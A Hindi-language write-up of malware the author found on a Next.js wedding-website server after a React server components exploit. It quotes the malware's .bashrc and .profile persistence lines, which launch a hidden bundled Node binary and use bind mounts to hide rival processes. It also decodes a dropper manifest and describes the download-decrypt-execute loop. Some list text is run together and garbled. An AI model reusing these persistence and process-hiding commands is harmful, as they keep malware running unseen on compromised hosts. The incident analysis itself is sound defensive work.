
malware I found on my server
यह मैलवेयर और अन्य संदिग्ध कचरे का एक डंप है जो मुझे मेरी शादी की वेबसाइट के सर्वर पर मिला, जो react सर्वर साइड रेंडरिंग कोड निष्पादन शोषण के बाद हुआ। यह एक छोटा डिजिटल ओशन ड्रॉपलेट है जो एक सामान्य next js ऐप चला रहा है।
CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
सर्वर गतिविधि का एक लॉग जो विभिन्न स्पाइक्स और अन्य चीज़ें दिखाता है:

मुख्य खलनायक /.local/share/.r0qsv8h1 में स्थापित यह चीज़ प्रतीत होता है।
मेरे bashrc में:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
ध्यान दें कि pgreps इस अन्य नकली "meshagent" मैलवेयर को चलने से रोकने के लिए हैं। आप इसके बारे में MESHAGENT.md दस्तावेज़ में पढ़ सकते हैं।
मेरे प्रोफ़ाइल में भी यही है:
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
आप SUSPICIOUS_SERVICES.md में अन्य संदिग्ध सेवाएँ देख सकते हैं।
यहाँ इस मुख्य बुरे मैलवेयर का विश्लेषण है:
निर्देशिका bad में एक स्व-निहित Node.js रनटाइम है जो भारी रूप से अस्पष्टीकृत JavaScript फ़ाइलों के एक सेट के साथ बंडल किया गया है।
सभी सबूत बताते हैं कि यह एक दुर्भावनापूर्ण ड्रॉपर है जो चुपचाप एक रिमोट सर्वर से संपर्क करता है, एक एन्क्रिप्टेड पेलोड डाउनलोड करता है, इसे डिक्रिप्ट करता है, इसे डिस्क पर लिखता है, और इसे एक अलग पृष्ठभूमि प्रक्रिया के रूप में निष्पादित करता है। कोड समय-समय पर सर्वर पर अपडेट की जाँच भी करता है।
.5f8562 में Base64 पेलोड डिकोड होकर:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" मुख्य अस्पष्टीकृत लोडर स्क्रिप्ट को संदर्भित करती है।"0" एक UUID है जिसका उपयोग संभवतः रिमोट सर्वर द्वारा ट्रैकिंग के लिए किया जाता है।"3" एक टाइमस्टैम्प (Unix‑epoch ms) है जो बताता है कि मैनिफेस्ट कब उत्पन्न हुआ था।"4" इच्छित स्थान (desktop) को इंगित करती है, जो संकेत देती है कि पेलोड वहां खुद को छिपाने की कोशिश कर सकता है।node .5f8562), मैनिफेस्ट .fvq2lzj6te.js की ओर इशारा करता है।setInterval टाइमर समय-समय पर डाउनलोड‑डिक्रिप्ट‑रन अनुक्रम को दोहराता है, जिससे हमलावर बिना किसी और उपयोगकर्ता इंटरैक्शन के नए या अद्यतन पेलोड धकेल सकता है।PATH, cwd, आदि) के साथ चलती है और विशिष्ट दुर्भावनापूर्ण क्रियाएं जैसे क्रिप्टोमाइनिंग, क्रेडेंशियल चुराना, या रिमोट कमांड निष्पादन कर सकती है।.r0qsv8h1 निर्देशिका और उसके द्वारा बनाई गई कोई भी फ़ाइल हटाएं (नवनिर्मित निष्पादन योग्य के लिए उपयोगकर्ता के Desktop और अस्थायी निर्देशिकाओं की जाँच करें)।यह विश्लेषण निर्देशिका में मौजूद फ़ाइलों की स्थैतिक जांच के आधार पर एक AI सहायक द्वारा स्वचालित रूप से किया गया था। कोई रनटाइम निष्पादन नहीं किया गया था।
आप DEOBFUSCATE.md में और पढ़ सकते हैं।
| फ़ाइल | विवरण |
|---|
.394ly8v9/README.md | मानक Node.js README – दुर्भावनापूर्ण कार्यक्षमता से संबंधित नहीं; बंडल को वैध दिखाने के लिए ही मौजूद है। |
.fvq2lzl64e.js | ~5 KB अस्पष्टीकृत JavaScript। यह एक JSON‑RPC HTTP अनुरोध बनाता है, एक base64-एन्कोडेड पेलोड प्राप्त करता है, इसे एक कस्टम सिफर से डिक्रिप्ट करता है, पेलोड को एक यादृच्छिक फ़ाइल में लिखता है, और इसे child_process.spawn / execSync के माध्यम से निष्पादित करता है। यह एक अलग पृष्ठभूमि प्रक्रिया भी उत्पन्न करता है जो बार-बार रिमोट सर्वर को पोल करता है। |
.lauphhtqrg.js | ~13 KB अस्पष्टीकृत JavaScript। अपने स्वयं के RC4-शैली सिफर (dec) के साथ एक समान डाउनलोड‑डिक्रिप्ट‑रन लूप लागू करता है। डिक्रिप्टेड पेलोड को एक उत्पन्न फ़ाइलनाम पर लिखता है और इसे चलाता है। बाद में नए पेलोड लाने के लिए एक टाइमर सेट करता है। |
.5f8562 | सादा-पाठ Base64 स्ट्रिंग। एक छोटे JSON मैनिफेस्ट में डिकोड होता है: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } यह मैनिफेस्ट लोडर को बताता है कि कौन सी स्क्रिप्ट निष्पादित करनी है (.fvq2lzj6te.js) और एक पहचानकर्ता/टाइमस्टैम्प प्रदान करता है। |
.b0rtqscrkeov | अभी तक जांचा नहीं गया, लेकिन नामकरण पैटर्न बताता है कि यह उसी दुर्भावनापूर्ण श्रृंखला का एक और घटक है। |
bin/node और साथ में lib/ फ़ाइलें | एक पूर्ण Node.js रनटाइम, जो स्क्रिप्ट को सिस्टम पर चलाने की अनुमति देता है भले ही Node.js स्थापित न हो। |